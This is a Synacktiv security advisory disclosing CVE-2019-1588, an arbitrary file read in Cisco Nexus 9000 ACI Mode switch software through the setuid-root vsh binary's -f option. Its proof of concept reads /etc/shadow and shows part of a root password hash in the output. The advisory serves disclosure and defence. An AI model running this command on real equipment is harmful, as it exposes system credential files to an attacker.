SYNACKTIV
DIGITAL SECURITY

Arbitrary file read in Cisco Nexus 9000 Series ACI Mode Switch Software version 9.13.2.2l

Security advisory

14/09/2018

Nicolas Biscos
Gaetan Ferry

Vulnerability description

The Cisco Nexus 9000 Series ACI Mode

Cisco Nexus 9000 Switches provides the foundation for *Application Centric Infrastructure*, delivering scalability, performance, and exceptional energy efficiency.[1]

The issue

Synacktiv identified a vulnerability in the *Cisco Nexus 9000 Series ACI Mode Software,* allowing attackers to read arbitrary files.

This issue is the result of verbose error messages combined with high privilege execution. Consequently, an authenticated user can read sensitive files on the system.

Affected versions

At the time this advisory is written, the firmware *aci-n9000-dk9.13.2.2l.bin* was proved to be affected.

Timeline

Date	Action
14/09/2018	Advisory sent to *Cisco Product Security Incident Response*.
16/09/2018	Acknowledgment from Cisco
06/03/2019	Public disclosure CVE-2019-1588

1 https://www.cisco.com/c/en_hk/products/switches/nexus-9000-series-switches/index.html

Technical description and proof-of-concept

Description

When connecting through SSH as the *admin* user on N9000 equipment, the environment is restricted. The *vsh* command is chained through a proxy command *backend_cmd.sh*. It executes the real *vsh* binary in a different execution context by using an SSH connection:

```
ssh -t -i $TMP_ID_FILE -o UserKnownHostsFile=$TMP_HOSTS_FILE -p $LOCAL_USER_PORT
local@localhost $@ 2>/dev/null
```

The real *vsh* binary has the *setuid* bit set and is owned by *root*, which means it is executed with the full privileges in the unrestricted environment.

The *-f* parameter of the program allows running commands from a file. The *vsh* binary displays every command output on standard output. If a command is invalid, it displays the invalid command from the file:

```
# vsh
vsh [<options>] [-f vsh cmd file] [-s vsh par file] [-w wait time] [-t timeout] [-r vsh
config file]
      -c <command>  : execute a single command
      -f <file>  : execute commands from file
      -r <cfg-file> : commands in file are config commands
      -b <file>  : break at first error while executing a file
      -i <vdc-id>  : set the vdc in which's context to run
      -t <minutes>  : inactivity timeout value
      -d <bitmask>  : debug filters
      -q <arg>  : execution filter mode
```

Therefore, when an invalid command file is provided as a source, each line of it is output as an error message:

```
SPIPRI0WOP1# vsh -f /tmp/test_synacktiv
Syntax error while parsing 'This is a test file by synacktiv.'
Syntax error while parsing 'It is fully disclosed by the -f option'
```

Impact

As the binary is has the *setuid* bit set and is owned by *root*, an attacker can leverage this binary to read arbitrary files on the file system in a privileged execution context.

Exploit

```
# vsh -f /bootflash/lxc/CentOS7/rootfs/etc/shadow
Syntax error while parsing 'root:!!$6$l4cJ[...]MYbEc45mP1:0:0:99999:7:::'

Syntax error while parsing 'bin:*:16372:0:99999:7:::'

Syntax error while parsing 'daemon:*:16372:0:99999:7:::'

[...]
```